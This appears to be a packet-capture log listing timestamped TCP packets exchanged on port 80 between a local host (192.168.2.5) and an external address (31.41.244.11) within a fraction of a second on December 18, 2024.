Dec 18, 2024 19:08:14.041884899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.041933060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.042646885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.042699099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.042798996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.042843103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.043597937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.043651104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.043814898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.043864965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.044570923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.044621944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.044682026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.044734955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.045584917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.045635939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.045713902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.045763969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.046457052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.046519041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.046561003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.046610117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.047435999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.047487020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.047548056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.047595978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.048327923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.048381090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.048394918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.048444033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.049240112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.049294949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.049401999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.049452066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.050329924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.050379038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.050379038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.050424099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.051126957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.051175117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.051222086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.051273108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.052098989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.052150011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.052247047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.052298069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.053018093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.053066015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.053170919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.053221941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.053985119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.054034948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.054115057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.054162025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.054936886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.054984093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.055049896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.055099964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.055864096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.055916071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.055936098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.055983067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.056797028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.056842089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.056893110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.056941032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.057729959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.057792902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.057866096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.057921886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.058695078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.058753014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.058840990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.058892965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.059622049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.059668064 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.059725046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.059772968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.060558081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.060610056 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.060703039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.060750961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.061511040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.061562061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.061630964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.061682940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.062469006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.062515974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.062673092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.062721968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.063384056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.063435078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.063508987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.063558102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.064362049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.064414978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.064713001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.064779997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.065613031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.065665960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.065783978 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.065835953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.066812038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.066863060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.066905022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.066953897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.067819118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.067872047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.067914963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.067961931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.068643093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.068728924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.068752050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.068800926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.069696903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.069756031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.069796085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.069844961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.070693970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.070744991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.070858002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.070909977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.071368933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.071404934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.071422100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.071448088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.072189093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.072233915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.072304010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.072351933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.072945118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.073002100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.073024035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.073071957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.073699951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.073749065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.073869944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.073920965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.074672937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.074727058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.074774981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.074829102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.075602055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.075651884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.075750113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.075802088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.076632023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.076687098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.076723099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.076772928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.077480078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.077531099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.077591896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.077642918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.078440905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.078490973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.078660011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.078712940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.079407930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.079462051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.079601049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.079652071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.080391884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.080439091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.080528021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.080574036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.081271887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.081321001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.081679106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.081727028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.082256079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.082307100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.082357883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.082407951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.083138943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.083190918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.083241940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.083288908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.084085941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.084136963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.084192991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.084242105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.085058928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.085107088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.085191965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.085238934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.086091042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.086139917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.086337090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.086385965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.086837053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.086888075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.229937077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.230144024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.230207920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.230562925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.230578899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.230618954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.230639935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.230649948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.231583118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.231630087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.231643915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.231688976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.232446909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.232676983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.232748032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.233685017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.233732939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.233771086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.233815908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.234364033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.234415054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.234810114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.234853983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.235291958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.235342026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.235394955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.236306906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.236358881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.236387968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.236440897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.237159967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.237273932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.237325907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.238246918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.238305092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.238759995 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.238821983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.239047050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.239104033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.239216089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.239254951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.239960909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.240014076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.240191936 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.240238905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.240967035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.241053104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.241246939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.241305113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.241883039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.241934061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.242136955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.242182016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.242794037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.242835999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.243187904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.243240118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.243740082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.243788004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.243902922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.243948936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.244729042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.244745970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.244795084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.245603085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.245656013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.246040106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.246081114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.246607065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.246629953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.246659994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.246675968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.247575998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.247759104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.247811079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.248509884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.248560905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.248758078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.248804092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.249380112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.249430895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.249514103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.249561071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.250402927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.250514984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.250569105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.251322031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.251372099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.252199888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.252279043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.252280951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.252295971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.252317905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.252331972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.253144026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.253194094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.253690958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.253736973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.254168034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.254221916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.254463911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.254509926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.255139112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.255187035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.255264044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.256057024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.256109953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.256387949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.256438971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.257095098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.257144928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.257221937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.257272005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.258101940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.258150101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.258429050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.258836985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.258936882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.259022951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.259069920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.259828091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.259875059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.259943962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.259993076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.260701895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.260754108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.261038065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.261081934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.261683941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.261725903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.261759996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.261806965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.262540102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.262590885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.263287067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.263340950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.263530970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.263576984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.263945103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.263993025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.264455080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.264744997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.264794111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.265394926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.265440941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.265805006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.265851974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.266340971 CET	80	49720	31.41.244.11	192.168.2.5
